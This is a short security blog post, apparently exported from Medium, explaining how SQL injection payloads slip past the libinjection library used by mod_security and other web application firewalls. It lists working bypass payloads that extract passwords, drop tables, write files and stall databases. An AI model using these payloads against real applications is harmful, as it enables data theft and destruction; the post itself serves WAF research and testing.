Ivan Novikov Follow
CEO at Wallarm. Marketing-free security AI
May 12, 2017 · 2 min read

# How to bypass libinjection in many WAF/NGWAF

Before we start, libinjection is a very popular open-source project (https://github.com/client9/libinjection) created by Nick Galbreath from Signal Sciences.
A lot of WAFs and NGWAFs use this library instead of regular expressions because of performance. For example, mod_security since version 2.7.4 supports libinjection by two operators in the SecRule definition: detectSQLi (since 2.7.4) and detectXSS (since 2.8.0).

Technically libinjection is a C-based parser based on the tokenizers for different syntax.
SQL syntax and HTML syntax are supported now.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

But sometimes libinjection is even worse than regular expressions. Let me tell you why.

**A. Unknown token for the libinjection tokenizer.**
A.1. Function token. It’s easiest way to find unknown token. Authors tried to list all the possible SQL functions, but it’s impossible because of the custom functions (stored procedures, triggers, dynamic functions, etc).
The second reason why it was a wrong decision to list all the SQL functions in the tokenizer is many different SQL functions built-in in various SQL engines such as MariaDB, MySQL, SQLite, PostgreSQL, etc.

A simple example here is:

```
?id=‘-sqlite_version() UNION SELECT password FROM users- -
```

**B. Unknown context for the libinjection parser.**
B.1. Brackets context.
If an attacker wants to do DoS and turn down your database through SQL injection, he should run a huge query like this:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
?id=sleep(9999)
```

But this attempt will be detected and blocked as attack.
However this one will not:

```
?id=)-sleep(9999
```

Just because libinjection doesn’t know brackets contexts.

The same situation for the file writing in MySQL:

```
?id=1337 INTO OUTFILE ‘xxx’--
```

will be detected.
But this one :

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
?id=1337) INTO OUTFILE ‘xxx’--
```

will not be detected because of the context.

A lot of fun can be obtained through stacked (batch) queries:

```
?id=123;DROP TABLE users--
```

will be detected and blocked, but this one:

```
?id=123);DROP TABLE users--
```

will not be blocked and you will miss your users table…

Simple data extraction payload could looks like:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
?id=) OR (SELECT password FROM users ...
```

B.2. Comments context. Injection inside the comment of SQL query.

```
*/UNION SELECT password FROM users--
```

It’s not so rare to find the injection inside comments area in SQL query. libinjection can’t detect anything there just because doesn’t support this kind of context inside the SQL parser.

As seen in this article, it is not so easy to protect Web applications even from such well understood attacks as SQL injections. Even very popular and modern libraries can be easily bypassed.

Libinjection   Waf   Ngwaf   Bypass   Sql Injection

**Like what you read? Give Ivan Novikov a round of applause.**

From a quick cheer to a standing ovation, clap to show how much you enjoyed this story.

Create PDF in your applications with the Pdfcrowd HTML to PDF API    PDFCROWD

72

**Ivan Novikov**

Medium member since Jan 2018

CEO at Wallarm. Marketing-free security AI

Follow

More from Ivan Novikov

**Top-5 stupid security mistakes in web apps**

In this blog entry, I will summarize some commonly overlooked issues which have…

Ivan Novikov
2 min read

23

Also tagged Waf

**Protecting everyone from WordPress Content Injection**

Cloudflare
2 min read

3

Also tagged Waf

**Banks Fall Victim to Nation-State Malware**

Tzury Bar Yochay
3 min read

1

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD